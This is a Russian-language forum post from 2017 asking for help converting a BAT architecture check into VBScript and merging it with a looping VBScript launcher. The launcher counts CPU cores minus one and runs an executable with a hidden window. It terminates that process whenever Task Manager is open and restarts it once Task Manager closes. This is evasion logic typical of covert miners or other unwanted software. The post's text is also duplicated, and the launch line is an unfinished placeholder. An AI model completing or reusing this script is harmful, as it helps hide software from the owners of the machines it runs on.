DetFedot
05-07-2017, 01:10
1. Перевести код с BAT в VBS
2. Нужно совместить 2 скрипта. ( Я просто не знаю как это можно сделать я не селен в этом )
1. Код какой нужно перевести
Set xOS=x64
If "%PROCESSOR_ARCHITECTURE%"=="x86" If Not Defined PROCESSOR_ARCHITEW6432 Set xOS=x86
If %xOS%==x86 ("x86.exe") Else ("x64.exe")
2. Потом совместить этот код с этим
Set WshShell = CreateObject("WScript.Shell")
Set WshShell = Nothing
On error resume next
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
' Cores Counting
Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
wbemFlagReturnImmediately + wbemFlagForwardOnly)
cores = 0
For Each objItem In colItems
cores = cores + objItem.NumberOfLogicalProcessors
Next
cores = cores - 1
' General Launching and Checking
do
WScript.Sleep 500
' Task Manager
Set taskcolitem = objWMIService.ExecQuery("Select * from Win32_Process")
taskmgrisrun=false
For Each objItem in taskcolitem
If objItem.Name = "Taskmgr.exe" OR objItem.Name = "taskmgr.exe" Then
taskmgrisrun = True
Exit For
End If
Next
' End Task Manager
Running = False
Set colItems = objWMIService.ExecQuery("Select * from Win32_Process")
For Each objItem in colItems
If objItem.Name = "Имя.exe" Then
Running = True
Set thisprocess=objItem
Exit For
End If
Next
If taskmgrisrun Then
If Running Then
thisprocess.Terminate
End if
If Not Running Then
Running=True
End if
End if
If Not Running Then
WScript.Sleep 500
WshShell.Run "Запуск определенного из файлов зависимости от разрядности системы, 0
End if
Loop
Если не сложно можете помочь буду благодарен.
2. Нужно совместить 2 скрипта. ( Я просто не знаю как это можно сделать я не селен в этом )
1. Код какой нужно перевести
Set xOS=x64
If "%PROCESSOR_ARCHITECTURE%"=="x86" If Not Defined PROCESSOR_ARCHITEW6432 Set xOS=x86
If %xOS%==x86 ("x86.exe") Else ("x64.exe")
2. Потом совместить этот код с этим
Set WshShell = CreateObject("WScript.Shell")
Set WshShell = Nothing
On error resume next
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
' Cores Counting
Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
wbemFlagReturnImmediately + wbemFlagForwardOnly)
cores = 0
For Each objItem In colItems
cores = cores + objItem.NumberOfLogicalProcessors
Next
cores = cores - 1
' General Launching and Checking
do
WScript.Sleep 500
' Task Manager
Set taskcolitem = objWMIService.ExecQuery("Select * from Win32_Process")
taskmgrisrun=false
For Each objItem in taskcolitem
If objItem.Name = "Taskmgr.exe" OR objItem.Name = "taskmgr.exe" Then
taskmgrisrun = True
Exit For
End If
Next
' End Task Manager
Running = False
Set colItems = objWMIService.ExecQuery("Select * from Win32_Process")
For Each objItem in colItems
If objItem.Name = "Имя.exe" Then
Running = True
Set thisprocess=objItem
Exit For
End If
Next
If taskmgrisrun Then
If Running Then
thisprocess.Terminate
End if
If Not Running Then
Running=True
End if
End if
If Not Running Then
WScript.Sleep 500
WshShell.Run "Запуск определенного из файлов зависимости от разрядности системы, 0
End if
Loop
Если не сложно можете помочь буду благодарен.